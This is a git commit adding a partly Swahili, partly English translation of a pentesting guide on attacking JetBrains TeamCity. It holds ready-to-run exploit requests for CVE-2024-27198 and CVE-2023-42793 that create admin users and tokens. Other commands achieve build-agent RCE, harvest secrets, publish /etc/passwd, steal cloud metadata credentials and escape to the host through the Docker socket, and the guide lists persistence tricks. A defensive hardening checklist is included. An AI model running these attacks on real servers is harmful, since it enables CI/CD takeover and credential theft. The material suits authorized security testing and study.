Translated ['src/pentesting-ci-cd/teamcity-security/README.md'] to sw

2026-07-28 22:51:09 -07:00 · 2026-05-26 19:35:56 +00:00
parent a21dcb545d
commit 5e56c38287
1 changed files with 650 additions and 0 deletions
@@ -0,0 +1,650 @@
+# TeamCity Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[TeamCity](https://www.jetbrains.com/teamcity/) ni JetBrains' CI/CD server. Inaweza kuendeshwa kama **TeamCity Cloud** au kama **TeamCity On-Premises**. Katika mazingira ya kweli, bidhaa ya on-premises ndiyo lengo la kuvutia zaidi kwa sababu kwa kawaida imeunganishwa na private repositories, deployment credentials, internal networks, na cloud build agents.
+
+Usakinishaji wa TeamCity kwa kawaida huwa na:
+
+- **TeamCity server**: Java web application na scheduler. Huhifadhi users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, na integrations. Default HTTP port ni **8111**.
+- **Projects and subprojects**: containers za build configurations, templates, parameters, VCS roots, connections, na permissions.
+- **Build configurations**: jobs zinazoeleza VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, na artifact dependencies.
+- **Pipelines / Kotlin DSL / XML settings**: build configuration inaweza kusimamiwa kwenye UI au kuhifadhiwa kwenye VCS, mara nyingi kwenye `.teamcity/` directory kwa kutumia Kotlin DSL.
+- **Build agents**: worker machines zinazopoll server, checkout code, kupokea build settings na secrets, kuendesha build steps, na kuchapisha logs/artifacts kurudi kwenye server. Agent kwa kawaida huendesha build moja kwa wakati mmoja na inaweza kuwa physical, VM, container, au cloud-launched.
+- **Agent pools**: njia ya kuzuia ni projects gani zinaweza kuendeshwa kwenye agents gani. Hii ni muhimu sana wakati public/untrusted builds na production deployment builds zinapokuwapo pamoja.
+- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, na other repository integrations. Hivi mara nyingi hushikilia PATs, refreshable tokens, SSH keys, au OAuth-backed tokens.
+- **Build parameters**: values zinazopatikana kwa configurations na builds. `env.*` parameters hugeuka kuwa environment variables, `system.*` parameters hugeuka kuwa system properties, na password parameters hufichwa lakini bado zinaweza kutumiwa na build code.
+
+> [!WARNING]
+> TeamCity yenyewe inarekodi kwamba users wanaoweza kubadilisha code inayoendeshwa na builds wanaweza kufanya chochote ambacho build-agent OS user anaweza kufanya, kufikia resources kwenye agent, kupata settings za configurations ambako builds zao zinaendeshwa, na huenda kuathiri projects nyingine zinazoshiriki agent sawa.
+
+## Interesting Ports, Paths & Files
+```bash
+# Common TeamCity web ports
+8111/tcp   # Default HTTP TeamCity server
+80/tcp     # Often reverse-proxied TeamCity
+443/tcp    # HTTPS reverse proxy or configured HTTPS
+```
+URL za kuvutia:
+```text
+/login.html
+/app/rest/server
+/app/rest/swagger.json
+/guestAuth/app/rest/server
+/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
+/admin/admin.html
+/admin/diagnostic.jsp
+/admin/agents.html
+/admin/plugins.html
+```
+Njia za ndani za kuvutia baada ya server kuathiriwa:
+```text
+# Linux defaults seen in common installs
+/opt/TeamCity/logs/
+/opt/TeamCity/webapps/ROOT/plugins/
+/home/teamcity/.BuildServer/config/
+/home/teamcity/.BuildServer/plugins/
+/home/teamcity/.BuildServer/system/artifacts/
+/home/teamcity/.BuildServer/system/buildserver.data
+
+# Windows defaults seen in common installs
+C:\TeamCity\logs\
+C:\TeamCity\webapps\ROOT\plugins\
+C:\ProgramData\JetBrains\TeamCity\config\
+C:\ProgramData\JetBrains\TeamCity\plugins\
+C:\ProgramData\JetBrains\TeamCity\system\artifacts\
+C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
+```
+Njia za ndani zenye kuvutia baada ya compromise ya agent:
+```text
+<AGENT_HOME>/conf/buildAgent.properties
+<AGENT_HOME>/logs/
+<AGENT_HOME>/work/
+<AGENT_HOME>/temp/
+<AGENT_HOME>/system/
+~/.git-credentials
+~/.ssh/
+~/.docker/config.json
+~/.npmrc
+~/.m2/settings.xml
+~/.aws/
+~/.config/gcloud/
+```
+## Ruhusa za TeamCity za Kuzingatia
+
+Mfumo halisi wa ruhusa unaweza kubinafsishwa, lakini majukumu muhimu ya chaguo-msingi ni:
+
+- **System Administrator**: udhibiti kamili wa server. Chukulia kuwa compromise ya OS ya server inawezekana kwa sababu admins wanaweza kubadilisha mipangilio ya server, kupakia plugins, na kufikia diagnostics.
+- **Project Administrator**: hudhibiti project na kwa kawaida anaweza kuunda/kubadilisha build configurations, parameters, VCS roots, features, triggers, na agent requirements ndani ya project hiyo.
+- **Project Developer**: kwa kawaida anaweza kuona mipangilio ya configuration, kuendesha builds, na kuingiliana na matokeo ya build. Hii bado inaweza kuwa sensitive kwa sababu mipangilio ya configuration na runtime data mara nyingi hufichua secrets.
+- **Project Viewer / Guest**: access ya kusoma pekee bado inaweza kufichua build logs, artifacts, majina ya project, majina ya branch, internal hostnames, na dependency paths.
+
+> [!TIP]
+> Wakati wa pentest, usiishie kwa "low-privileged TeamCity user". Hakiki kama user huyo anaweza kuendesha custom builds, kuchagua branches, kubinafsisha parameters, kuona settings, kuona runtime parameters, kupakua artifacts, au kuanzisha deployment configurations.
+
+## Initial Enumeration
+
+### Fingerprint Exposed TeamCity
+```bash
+export TC="http://teamcity.example.com:8111"
+
+curl -i "$TC/login.html"
+curl -i "$TC/app/rest/server"
+curl -i "$TC/guestAuth/app/rest/server"
+curl -s "$TC/app/rest/swagger.json" | head
+```
+Ishara muhimu:
+
+- `TeamCity-Node-Id` HTTP header.
+- Login page branding.
+- `/app/rest/server` inarudisha `401` wakati authentication inahitajika.
+- `/guestAuth/app/rest/server` inafanya kazi ikiwa guest access imewezeshwa.
+
+### REST API Enumeration With A Token
+
+TeamCity REST API kwa kawaida hutumia `Authorization: Bearer <token>`.
+```bash
+export TC="https://teamcity.example.com"
+export TCTOKEN="TC..."
+
+alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
+
+tcurl "$TC/app/rest/server"
+tcurl "$TC/app/rest/users/current"
+tcurl "$TC/app/rest/users/current/roles"
+tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
+tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
+tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
+tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
+tcurl "$TC/app/rest/agentPools"
+tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
+```
+Kwa usanidi wa build:
+```bash
+export BT="id:Project_Build"
+
+tcurl "$TC/app/rest/buildTypes/$BT"
+tcurl "$TC/app/rest/buildTypes/$BT/parameters"
+tcurl "$TC/app/rest/buildTypes/$BT/steps"
+tcurl "$TC/app/rest/buildTypes/$BT/features"
+tcurl "$TC/app/rest/buildTypes/$BT/triggers"
+tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
+tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
+tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
+tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
+```
+### Matumizi Mabaya ya Guest Access
+
+Ikiwa guest login imewezeshwa, TeamCity inasaidia `/guestAuth/` URLs. Kwa chaguo-msingi, watumiaji wa guest wana Project Viewer role kwa miradi yote isipokuwa ikibadilishwa.
+```bash
+curl -sk "$TC/guestAuth/app/rest/projects"
+curl -sk "$TC/guestAuth/app/rest/buildTypes"
+curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
+```
+Tafuta:
+
+- Build logs zenye secrets zilizochapishwa kimakosa.
+- Artifacts zenye `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, au internal URLs.
+- Majina ya project/build yanayofichua majina ya cloud account, production systems, regions, au majina ya internal service.
+- Commit metadata inayotambulisha privileged developers au service users.
+
+Mfumo wa kupakua artifact wa mfano:
+```bash
+curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
+```
+## Mashambulizi
+
+### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199
+
+Matoleo ya TeamCity On-Premises **through 2023.11.3** yalikuwa na athari za authentication bypass mbili zilizorekebishwa katika **2023.11.4**. CVE-2024-27198 ndiyo muhimu zaidi kwa sababu inaweza kufichua authenticated REST endpoints kwa washambuliaji wasio na uthibitisho.
+
+Tambua bypass kwa kutumia harmless authenticated endpoint:
+```bash
+curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
+```
+Ikiwa metadata ya server inarudishwa bila authentication, instance ni vulnerable. Njia ya kawaida ya takeover ni kuunda admin user au mint token kwa existing admin user:
+```bash
+curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
+-X POST \
+-H "Content-Type: application/json" \
+--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
+```
+
+```bash
+curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
+```
+Baada ya hili, endelea kama TeamCity administrator aliyethibitishwa: enumerate projects, collect secrets, execute builds on agents, inspect artifacts, na check cloud access from agents.
+
+### Unauthenticated Takeover: CVE-2023-42793
+
+TeamCity On-Premises versions kabla ya **2023.05.4** ziliathiriwa na CVE-2023-42793. Athari ya vitendo ilikuwa unauthenticated administrator-level access na RCE kupitia TeamCity APIs. Njia iliyotumiwa sana vibaya ilihusisha token creation kupitia route inayoishia kwa `/RPC2`.
+```bash
+curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
+```
+Ikiwa unakagua athari za incident, angalia uundaji wa tokeni za kushukiwa, uundaji wa akaunti za admin, matukio ya kupakia/kufuta plugin, na utekelezaji wa process karibu na dirisha la exposure.
+
+### Admin RCE By Uploading A Plugin
+
+TeamCity server plugins ni ZIP packages ambazo huongeza functionality ya server. A System Administrator anaweza kupakia plugin kutoka UI chini ya **Administration -> Plugins**, kuiload, na kutekeleza Java code ya server-side.
+
+Abuse cases:
+
+- Pakia malicious plugin kwa ajili ya direct RCE kwenye **TeamCity server**, si agent tu.
+- Tumia plugin load/delete kama short-lived execution path.
+- Weka persistence kupitia plugin inayoonekana kama internal integration.
+
+Evidence to inspect:
+```text
+teamcity-activities.log
+teamcity-server.log
+<TeamCity Data Directory>/plugins/
+<TeamCity Data Directory>/config/disabled-plugins.xml
+<TeamCity Data Directory>/system/caches/plugins.unpacked/
+<TeamCity Home>/webapps/ROOT/plugins/
+```
+### RCE Kwa Kuunda Au Kurekebisha Build Steps
+
+Ikiwa unaweza kuunda au kuhariri build configuration, TeamCity agent ni target yako ya command execution. The **Command Line / Script** runner ndiyo chaguo la moja kwa moja.
+
+Ongeza command line step kupitia REST:
+```bash
+curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{
+"name": "diagnostics",
+"type": "simpleRunner",
+"properties": {
+"property": [
+{"name": "script.content", "value": "id; uname -a; env | sort"}
+]
+}
+}'
+```
+Anza build:
+```bash
+curl -sk "$TC/app/rest/buildQueue" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{"buildType":{"id":"Project_Build"}}'
+```
+Amri muhimu za kwanza kwenye agent:
+```bash
+id
+hostname
+pwd
+env | sort
+mount
+ip addr || ifconfig
+ip route || route print
+find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
+```
+Mawakala wa Windows:
+```powershell
+whoami /all
+hostname
+Get-ChildItem Env: | Sort-Object Name
+ipconfig /all
+route print
+Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
+```
+### Lenga Agent Ya Kuvutia Zaidi
+
+Build configurations zinaweza kuwa na agent requirements, na custom builds zinaweza kuruhusu kuchagua agent mahususi. Hii ni muhimu wakati agent mmoja ana production network reachability, Docker access, mobile signing keys, cloud roles, au deployment tooling.
+
+Enumerate compatible agents:
+```bash
+tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
+```
+Foleni build kwenye agent maalum kama ruhusa zako zinaruhusu:
+```bash
+curl -sk "$TC/app/rest/buildQueue" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
+```
+Au kusanidi mahitaji ya agent ili kulazimisha aina ya agent yenye thamani:
+```bash
+curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{
+"type":"equals",
+"properties":{"property":[
+{"name":"property-name","value":"teamcity.agent.name"},
+{"name":"property-value","value":"prod-deploy-agent-01"}
+]}
+}'
+```
+### Dumisha Parameters za Build na Parameters za Nenosiri
+
+Parameters hurithiwa kutoka kwa projects na templates, kwa hivyo hesabu scopes zote za project na build configuration:
+```bash
+tcurl "$TC/app/rest/projects/id:Project/parameters"
+tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
+```
+Majina ya kuvutia:
+```text
+env.AWS_ACCESS_KEY_ID
+env.AWS_SECRET_ACCESS_KEY
+env.GITHUB_TOKEN
+env.NPM_TOKEN
+env.DOCKER_AUTH_CONFIG
+system.deploy.password
+system.oauth.clientSecret
+vcsroot.<id>.password
+teamcity.configuration.properties.file
+```
+Mambo muhimu ya kuzingatia:
+
+- Vigezo vya password hufichwa kwenye UI/logs lakini msimbo wowote unaovipokea kihalali unaweza kuvikusanya kwa njia ya exfiltrate au kuvikubadili.
+- Wasimamizi wa project mara nyingi wanaweza kupata thamani ghafi za vigezo kupitia ufikiaji wa settings.
+- Dokezo za usalama za TeamCity zinaonya kwamba users wanaoweza kurekebisha build code wanaweza kupata thamani za password zinazotumiwa na build hiyo.
+- Iwapo versioned settings zimehifadhiwa katika VCS, users wenye ufikiaji wa settings repo wanaweza kurejesha thamani kutoka settings zilizochanganywa/encrypted kutegemea server encryption configuration na key exposure.
+
+Build-step exfil pattern:
+```bash
+python3 - <<'PY'
+import base64, os, json
+interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
+print(base64.b64encode(json.dumps(interesting).encode()).decode())
+PY
+```
+### Poison Versioned Settings / Kotlin DSL
+
+Ikiwa versioned settings zimewezeshwa na unaweza kuandika kwenye branch/repository ambayo TeamCity inaamini kwa `.teamcity/`, unaweza kurekebisha pipeline definition yenyewe.
+
+Malengo ya kawaida:
+
+- Ongeza `script` step mpya kwenye build configuration.
+- Badilisha `agentRequirements` ili iendeshwe kwenye agent yenye privileges zaidi.
+- Ongeza artifact rules ili kuchapisha mafaili nyeti.
+- Ongeza snapshot/artifact dependencies ili kuvuta data kutoka kwenye build nyingine.
+- Ongeza VCS triggers kwa persistence.
+- Badilisha VCS roots au checkout rules.
+
+Minimal Kotlin DSL malicious step:
+```kotlin
+import jetbrains.buildServer.configs.kotlin.*
+import jetbrains.buildServer.configs.kotlin.buildSteps.script
+
+object Build : BuildType({
+name = "Build"
+steps {
+script {
+name = "diagnostics"
+scriptContent = "id; env | base64"
+}
+}
+})
+```
+> [!CAUTION]
+> Hii ni mojawapo ya TeamCity misconfigurations zenye athari kubwa zaidi: kuhifadhi build settings katika repository ileile pamoja na application source kunamaanisha mtu yeyote anayeweza kubadilisha source branch hiyo anaweza pia kubadilisha CI/CD control plane.
+
+### Pull Request / Untrusted Build Abuse
+
+TeamCity inaweza kujenga pull requests kutoka GitHub, GitLab, Bitbucket, Azure DevOps, na JetBrains Space. Ikiwa public repository imewekwa kujenga pull requests kutoka kwa **Everybody**, attacker wa nje anaweza kupata code execution kwenye TeamCity agent kwa kufungua PR.
+
+Angalia kwa:
+
+- Pull Requests build feature yenye permissive author filters.
+- VCS triggers zinazolingana na pull request branches kama `refs/pull/*`.
+- Kukosekana au kuzimwa kwa ukaguzi wa **Untrusted Builds**.
+- PR builds zinazotumia same pools kama trusted/prod builds.
+- Password parameters au deployment credentials zinazopatikana kwa PR builds.
+- Versioned settings zinazopakiwa kutoka PR branches.
+
+Abuse primitives from untrusted code:
+```bash
+env | sort
+echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
+echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
+```
+Pia pia hati za build ambazo huingiza thamani zinazodhibitiwa na PR:
+```text
+%teamcity.pullRequest.title%
+%teamcity.pullRequest.source.branch%
+%teamcity.pullRequest.target.branch%
+%teamcity.build.branch%
+```
+If those values are inserted into shell, PowerShell, SQL, Docker tags, package names, or deployment arguments without quoting/validation, test command injection and logic manipulation.
+
+### Endesha Custom Build Parameter Injection
+
+Watumiaji ambao hawawezi kuhariri build configuration bado huenda wakaweza kuendesha custom builds zenye modified branch, agent, au parameter values.
+```bash
+curl -sk "$TC/app/rest/buildQueue" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{
+"buildType":{"id":"Project_Build"},
+"branchName":"refs/heads/attacker-controlled-branch",
+"properties":{"property":[
+{"name":"env.DEPLOY_ENV","value":"prod; id #"},
+{"name":"system.release.version","value":"1.2.3$(id)"}
+]}
+}'
+```
+Tafuta scripts kama:
+```bash
+deploy --env %env.DEPLOY_ENV%
+docker build -t registry/app:%system.release.version% .
+git checkout %teamcity.build.branch%
+```
+### Matumizi Mabaya ya Service Message
+
+TeamCity huchambua output iliyoumbizwa kwa umakini kutoka kwa build steps. Ikiwa code inayodhibitiwa na attacker inaendeshwa ndani ya build, inaweza kuathiri hatua za baadaye na uelewa wa server kuhusu build.
+
+Ujumbe muhimu:
+```bash
+# Publish arbitrary files as artifacts
+echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
+
+# Modify parameters for following steps
+echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
+
+# Poison the build number displayed/published downstream
+echo "##teamcity[buildNumber '9999-backdoored']"
+
+# Hide noisy output in collapsed blocks
+echo "##teamcity[blockOpened name='integration tests']"
+echo "##teamcity[blockClosed name='integration tests']"
+```
+Hii inakuwa hatari zaidi wakati release jobs za downstream zinapoamini build status, build number, tags, artifact names, au output parameters kutoka kwa job ya upstream.
+
+### Artifact & Dependency Poisoning
+
+TeamCity build chains mara nyingi husogeza artifacts kati ya builds. Ukiweza kuathiri upstream build inayochapisha artifacts zinazotumiwa na privileged downstream build, jaribu kupoison:
+
+- JAR/WAR/NuGet/npm/PyPI packages.
+- Docker build contexts.
+- Terraform plan files.
+- Helm charts and Kubernetes manifests.
+- SBOM/provenance files.
+- Test fixtures au generated code zinazotumiwa na hatua za baadaye.
+
+Chapisha controlled artifact kutoka kwa build:
+```bash
+mkdir -p out
+cp payload.jar out/app.jar
+echo "##teamcity[publishArtifacts 'out/** => release.zip']"
+```
+Kisha kagua artifact dependencies:
+```bash
+tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
+tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
+```
+### Agent Cloud Pivoting
+
+Ikiwa agent inaendeshwa katika AWS, Azure, GCP, Kubernetes, au mtandao wa ndani wa VM, build ni pivot point.
+
+AWS IMDS:
+```bash
+TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
+ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
+```
+Fallback ikiwa IMDSv1 imeruhusiwa:
+```bash
+ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
+```
+Azure IMDS:
+```bash
+curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
+curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+GCP metadata:
+```bash
+curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
+SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
+curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
+```
+Kubernetes:
+```bash
+ls -la /var/run/secrets/kubernetes.io/serviceaccount/
+cat /var/run/secrets/kubernetes.io/serviceaccount/token
+cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
+```
+Ukaguzi wa Docker escape:
+```bash
+ls -la /var/run/docker.sock
+docker ps
+docker run --rm -it -v /:/host alpine chroot /host sh
+```
+### Pivot Into Internal Services
+
+Build agents mara nyingi huwa na reachability kwa package registries, artifact stores, deployment APIs, databases, na internal admin panels.
+```bash
+for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
+echo "### $h"
+curl -sk --connect-timeout 2 "https://$h/" | head
+done
+```
+Baada ya kuiba shared JWT/HMAC secret kutoka TeamCity parameters, cloud secret stores, artifacts, au repo files, forge tokens kwa weak internal services:
+```python
+import jwt, time
+secret = "leaked-hs256-secret"
+payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
+print(jwt.encode(payload, secret, algorithm="HS256"))
+```
+### Matumizi mabaya ya VCS Root & Repository Credential
+
+VCS roots na connections mara nyingi ni za thamani zaidi kuliko TeamCity yenyewe.
+
+Tafuta:
+
+- HTTP(S) VCS roots zinazotumia username/password au PAT.
+- SSH private keys zilizopakiwa kwenye TeamCity.
+- GitHub App / OAuth / refreshable token connections.
+- Commit Status Publisher tokens.
+- Pull Request feature tokens.
+- Build steps zinazokuandikia repositories, tags, releases, packages, au workflow files.
+
+REST enumeration:
+```bash
+tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
+tcurl "$TC/app/rest/projects/id:Project/features"
+```
+Athari za baada ya kuathiriwa:
+
+- Push malicious commits/tags to repositories.
+- Move release tags.
+- Publish malicious package versions.
+- Read private repos the tester did not originally have access to.
+- Add CI/CD config for another platform such as GitHub Actions.
+- Open/merge PRs using the service identity if it has write access.
+
+### Debug & Diagnostics Endpoints
+
+Baadhi ya utendaji wa hatari wa debug unalindwa na ruhusa za admin na properties za ndani. Ikiwezeshwa, inaweza kufichua TeamCity database au utekelezaji wa process.
+
+Mfano wa setting ya database query:
+```properties
+rest.debug.database.allow.query.prefixes=select
+```
+Ikiwa hii imewezeshwa, tokeni ya admin inaweza kuquery data ya ndani:
+```bash
+curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
+-H "Authorization: Bearer $TCTOKEN"
+```
+Also chunguza kama `/app/rest/debug/processes` inaweza kufikiwa na role yako. Tathmini endpoint yoyote ya debug iliyowashwa kama njia inayoweza kupelekea moja kwa moja server compromise.
+
+### Agent-Server Trust & Rogue Agent Angles
+
+Agents hupoll server na hupokea build settings, repository sources, access credentials/keys, build logs, na artifact data. Ikiwa mawasiliano ya agent-to-server ni plain HTTP au attacker anadhibiti network path, secrets na source code zinaweza kufichuliwa.
+
+Check:
+```bash
+grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
+grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
+```
+Abuse paths:
+
+- Compromise one agent and inspect work directories for other projects if agents are reused.
+- Modify checked-out source or cached dependencies for later builds if clean checkout is not enforced.
+- Steal the agent authorization token/configuration.
+- Register a rogue agent if you have permissions to authorize project agents or if admins automatically authorize new agents.
+- Impersonate an existing agent from a compromised host.
+
+### Logs, Artifacts & Data Directory As Secrets
+
+TeamCity security notes explicitly warn that read access to the TeamCity Data Directory, server logs, or build artifacts can expose secrets or lead to administrator escalation.
+
+One specific escalation path is **Super User Access**: TeamCity can allow login as a system administrator with a token written to `teamcity-server.log`. If logs are shipped to a weakly protected log platform or readable by non-admin OS users, search for super-user tokens.
+
+Hunt:
+```bash
+grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
+grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
+```
+Majina ya build mara nyingi huwa na:
+
+- Mstari wa amri uliopanuliwa.
+- Amri za deployment zilizoshindwa zenye credentials kwenye arguments.
+- Output ya Docker login.
+- Makosa ya publishing ya npm/pip/maven.
+- Cloud CLI debug output.
+- Internal service URLs.
+
+### Persistence Ideas
+
+Mbinu muhimu za persistence wakati wa authorized red team assessment:
+
+- Create access token yenye jina linaloonekana la kawaida chini ya service/admin user.
+- Ongeza low-noise build trigger kwenye configuration inayokaguliwa mara chache.
+- Ongeza project parameter inayotumiwa na existing deployment step.
+- Ongeza hidden au disabled build step ambayo inaweza kuanzishwa tena baadaye.
+- Ongeza new VCS root au connection chini ya legitimate project.
+- Ongeza plugin inayofanana na internal integration.
+- Ongeza new agent pool / cloud profile / agent requirement ambayo inaelekeza builds kwenye attacker-controlled infrastructure.
+- Modify Kotlin DSL kwenye settings repository.
+
+Mambo ambayo defenders wanapaswa kukagua baada ya TeamCity compromise:
+```text
+teamcity-activities.log
+teamcity-server.log
+teamcity-javaLogging*.log
+User access tokens
+Recently created users/groups/roles
+Plugin upload/load/delete events
+Build configuration diffs
+Versioned settings commits
+VCS root credential changes
+Agent authorization changes
+Build triggers and schedules
+Suspicious artifact publications
+```
+## Orodha ya Kukaza Usalama
+
+- Weka TeamCity On-Premises ikiwa imesasishwa kikamilifu; seva zilizo wazi zilizo na auth bypasses za zamani ni malengo yenye thamani kubwa.
+- Usifichue TeamCity moja kwa moja kwenye internet isipokuwa kuna udhibiti thabiti wa ufikiaji, SSO/MFA, kuchuja network, na patching ya haraka.
+- Zima Guest Login kwenye seva za production.
+- Zima Super User Access kwa `teamcity.superUser.disable=true` ikiwa logs za seva zinasafirishwa au zinaweza kusomeka kwa upana.
+- Tumia makundi ya least-privilege na custom roles badala ya ruhusa pana za Project Administrator.
+- Tumia tokens za muda mfupi na scoped kwa REST automation.
+- Hifadhi build settings kwenye repository tofauti iliyo protected ikiwa unatumia versioned settings.
+- Chukulia PR builds kutoka forks kama hostile; tumia Untrusted Builds, manual approval, na isolated disposable agents.
+- Tenganisha public/untrusted builds kutoka deployment builds kwa dedicated agent pools.
+- Tumia disposable agents na enforce clean checkout kwa builds nyeti.
+- Epuka cloud/static credentials za muda mrefu kwenye parameters; pendelea cloud OIDC/workload identity inapowezekana.
+- Hitaji IMDSv2 kwenye AWS agents na zuia access ya metadata kutoka containers.
+- Endesha agents kama watumiaji wa OS wenye privileges ndogo na epuka mounting Docker socket isipokuwa inahitajika kabisa.
+- Tumia HTTPS kwa traffic ya agent-to-server.
+- Zuia plugin installation kwa trusted admins pekee na kagua mabadiliko ya plugins.
+- Hifadhi server logs na TeamCity Data Directory ziweze kusomeka tu na akaunti ya OS ya TeamCity server na admins.
+- Tumia custom encryption key kwa secure values badala ya kutegemea default scrambling mechanism.
+- Hifadhi build history/logs kwa uchunguzi na zuia ruhusa za kufuta builds.
+
+## Marejeo
+
+- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
+- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
+- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
+- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
+- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
+- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
+- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
+- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
+- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
+- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
+- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
+- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
+- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
